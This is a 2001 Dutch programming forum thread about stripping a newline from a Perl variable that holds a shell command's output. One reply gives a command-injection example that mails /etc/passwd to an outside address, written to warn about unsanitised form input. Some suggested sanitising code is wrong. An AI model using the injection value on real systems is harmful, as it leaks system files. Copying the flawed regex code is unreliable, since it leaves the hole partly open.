Toon posts:

Hoe haal je een ENTER weg uit een PERL variabele

Pagina: 1
Acties:

Verwijderd

Topicstarter
Allo, ben ik alweer,

Keb nou nog een vraagje,

Keb nou $wachtwoord uit

$command = "/sambar/bin/sacrypt.exe ";
$command .= " $FORM{'pass'}";

$wachtwoord = `$command`;

(als je me niet kan volgen moet je een paar topics trug kijken)

Als ik $wachtwoord in een textfile opsla, dan komt alles wat ik achter $wachtwoord wil opslaan op de volgende regel van me textfile, en dat moet niet, het moet allemaal op dezelde regel komen

hoe zou ik dat kunnen doen?

  • MikeN
  • Registratie: April 2001
  • Laatst online: 13-09 17:41
je moet ff de /n weghalen.... Dus daar zul je ff op moeten zoeken, meer weet ik ook niet van Perl.
Wat je ook kan doen is gewoon het laatste teken van je string afknippen, kan je vast wel doen met iets als substr of iets dergelijks....

* MikeN is een Perl n00b

  • Theswitch
  • Registratie: Juli 2000
  • Laatst online: 22:37
chomp($wachtwoord = `$command`);

Verwijderd

Topicstarter
aan de \n zal t niet liggen, die gebruik ik niet

Verwijderd

Topicstarter
wederom bedankt, chomp werkt perfecto :)

  • CyBeR
  • Registratie: September 2001
  • Niet online

CyBeR

💩

Op dinsdag 04 december 2001 21:17 schreef quersie het volgende:
aan de \n zal t niet liggen, die gebruik ik niet
je stopt em er in als je op enter drukt
en \n is toch echt een newline ;)
chomp() haalt het laatste character er af, mits het whitespace is
chop() haalt em er ook af als het een letter is(wat je over het algemeen niet wilt)

All my posts are provided as-is. They come with NO WARRANTY at all.


  • [ti]
  • Registratie: Februari 2000
  • Niet online
Ik weet niet zo heel veel van PERL, maar volgens mij zie ik een enorm security hole:
code:
1
2
$command = "/sambar/bin/sacrypt.exe ";
$command .= " $FORM{'pass'}";

Ik voer nu als pass in het form in:
bla; cat /etc/passwd | mail mijn@email.com
Dat alles achter de ; wordt dan toch ook uitgevoerd?

  • CyBeR
  • Registratie: September 2001
  • Niet online

CyBeR

💩

onder unix heb je daar kans op ja, windows weet ik niet
k zou er voor de zekerheid "" omheen zetten

All my posts are provided as-is. They come with NO WARRANTY at all.


  • drm
  • Registratie: Februari 2001
  • Laatst online: 09-06-2025

drm

f0pc0dert

CyB3R:
onder unix heb je daar kans op ja, windows weet ik niet
k zou er voor de zekerheid "" omheen zetten
of alles na evt. ;, | en > weghalen uit $Form{'pass'}
CyB3R:
je stopt em er in als je op enter drukt
en \n is toch echt een newline ;)
chomp() haalt het laatste character er af, mits het whitespace is
chop() haalt em er ook af als het een letter is(wat je over het algemeen niet wilt)
<just curious>
Is het niet zo, dat chomp sowieso de laatste whitepaces weghaalt? dus als het er 2 of meer zijn, dat ze allemaal weggehaald worden?
</just curious>

Music is the pleasure the human mind experiences from counting without being aware that it is counting
~ Gottfried Leibniz


  • CyBeR
  • Registratie: September 2001
  • Niet online

CyBeR

💩

Op woensdag 05 december 2001 08:56 schreef drm het volgende:
[..]

<just curious>
Is het niet zo, dat chomp sowieso de laatste whitepaces weghaalt? dus als het er 2 of meer zijn, dat ze allemaal weggehaald worden?
</just curious>
nee, alleen de laatste

All my posts are provided as-is. They come with NO WARRANTY at all.


  • tomato
  • Registratie: November 1999
  • Niet online
CyB3R: onder unix heb je daar kans op ja, windows weet ik niet
k zou er voor de zekerheid "" omheen zetten
Enkele quotes bedoel je neeem ik aan? En zorg er dan ook voor dat er geen enkele quotes in $FORM{'pass'} zitten.

En zie hier voor chomp.

  • CyBeR
  • Registratie: September 2001
  • Niet online

CyBeR

💩

Op woensdag 05 december 2001 09:31 schreef tomato het volgende:

[..]

Enkele quotes bedoel je neeem ik aan? En zorg er dan ook voor dat er geen enkele quotes in $FORM{'pass'} zitten.

En zie hier voor chomp.
Als windows elkele quotes wil daar, doe dat vooral, en dan $FORM{"pass"} zodat die quotes niet in de weg hangen

ik gebruikt eigenlijk alleen unix, en daar maakt het niet uit of je ' of " gebruikt ;)

All my posts are provided as-is. They come with NO WARRANTY at all.


  • Theswitch
  • Registratie: Juli 2000
  • Laatst online: 22:37
om te zorgen dat dit soort dingen uberhaupt niet voor komen gebruik je normaal

#/usr/bin/perl -W
use strict;

deze zorgt ervoor dat al je variables gecheckt moeten worden voordat ze gebruikt worden.

dat passwd ding zal iets worden als

chomp($wachtwoord = `$command`);
$wachtwoord ~= s/\W.*$//;

Deze zorgt dat alles vanaf \W (non-witespace) weggehaald wordt. Dus je passwd zal dan bestaan uit alleen A-Za-z0-9.

Wat je ook kan doen is iets als
$wachtwoord ~= s/[;\n]//; Je kan er eventueel meer bad tekens inzetten die je niet in een passwd wilt hebben.

  • CyBeR
  • Registratie: September 2001
  • Niet online

CyBeR

💩

Op woensdag 05 december 2001 09:40 schreef Theswitch het volgende:
om te zorgen dat dit soort dingen uberhaupt niet voor komen gebruik je normaal

#/usr/bin/perl -W
use strict;

deze zorgt ervoor dat al je variables gecheckt moeten worden voordat ze gebruikt worden.

dat passwd ding zal iets worden als

chomp($antwoord = ....)
$antwoord ~= s/\W.*$//;

Deze zorgt dat alles vanaf \W (non-witespace) weggehaald wordt. Dus je passwd zal dan bestaan uit alleen A-Za-z0-9.
heb je dat gechecked?
volgens mij is het namelijk meer iets van
code:
1
$antwoord =~ s/[^a-zA-Z0-9]+.*$//;

ook untested btw >:)

All my posts are provided as-is. They come with NO WARRANTY at all.


  • Theswitch
  • Registratie: Juli 2000
  • Laatst online: 22:37
Op woensdag 05 december 2001 09:44 schreef CyB3R het volgende:

Theswitch schreef:
code:
1
$antwoord =~ s/\W.*$//;

[..]

heb je dat gechecked?
volgens mij is het namelijk meer iets van
code:
1
$antwoord =~ s/[^a-zA-Z0-9]+.*$//;

ook untested btw >:)
De mijne neemt: \W en dan alles tot het einde.
Dus het begin laat ie staan (het goede password)


Hee er stond eerst ^\W :) net veranderd zeker.
maar \w = [A-Za-z0-9]
en \W = [^A-Za-z0-9]

Dus dan staat er zo'n beetje hetzelfde, alleen je schrijft + erachter, je gaat er vanuit dat er dus minstenst 1 slecht teken achter een passwd staat?

  • CyBeR
  • Registratie: September 2001
  • Niet online

CyBeR

💩

lijkt me wel, anders is die hele s/// niet nodig toch? :)

All my posts are provided as-is. They come with NO WARRANTY at all.


  • tomato
  • Registratie: November 1999
  • Niet online
Theswitch: #/usr/bin/perl -W
use strict;

deze zorgt ervoor dat al je variables gecheckt moeten worden voordat ze gebruikt worden.
Eigenlijk zou je -w en strict altijd moeten gebruiken.
$wachtwoord ~= s/\W.*$//;
Waarom die $ :?
Deze zorgt dat alles vanaf \W (non-witespace) weggehaald wordt.
Nee, dat is niet waar. \W is niet non-whitespace, dat is \S. Alles wat geen 'word-character' is of hoe je het ook wilt noemen matcht \W, dus alles wat geen 'word-character' is aan het einde van je string wordt weggehaald.
Maar waarom wil je dat alleen aan het einde :?
Mag er wel een ; of een ' of iets anders aan het begin staan of misschien ergens tussenin?
Dus je passwd zal dan bestaan uit alleen A-Za-z0-9.
\w ('word-characters') matcht ook een _ (underscore) en misschien een - (weet ik niet zeker uit mijn hoofd, ik dacht het niet). Wanneer je local packages hebt geinstalleerd kan \w trouwens nog meer matchen, zoals een Eszet (Duits). Ook vallen gewone letters met bijvoorbeeld een trema of een accentteken meestal onder \w. Maar goed, dat doet voor dit voorbeeld niet heel erg terzake, alleen even voor de duidelijkheid :)
Wat je ook kan doen is iets als
$wachtwoord ~= s/[;\n]//;
Gebruik dan wel een /g anders haal je er maar 1 teken uit >:)
Je kan er eventueel meer bad tekens inzetten die je niet in een passwd wilt hebben.
Dit geldt voor beveiliging in het algemeen: Definieer niet wat verboden is, maar wat toegestaan is. Op deze manier kun je gemakkelijk beveiligingslekken maken.
CyB3R: lijkt me wel, anders is die hele s/// niet nodig toch? :)
Inderdaad, waarom een pattern gebruiken dat 'niets' kan matchen :?
Zeker als je niet geheel zeker bent van wat er dan gebeurd (kan namelijk nog best ingewikkeld zijn en dit verschilt per regex implementatie. Kijk daar dus mee uit.

Al met al zou ik het meer als zoiets schrijven:
code:
1
2
3
4
5
6
#!/usr/bin/perl -w

my $pass = $FORM{'pass'};
$pass =~ s/\W+//g;

my $wachtwoord = `/sambar/bin/sacrypt.exe '$pass'`;
Pagina: 1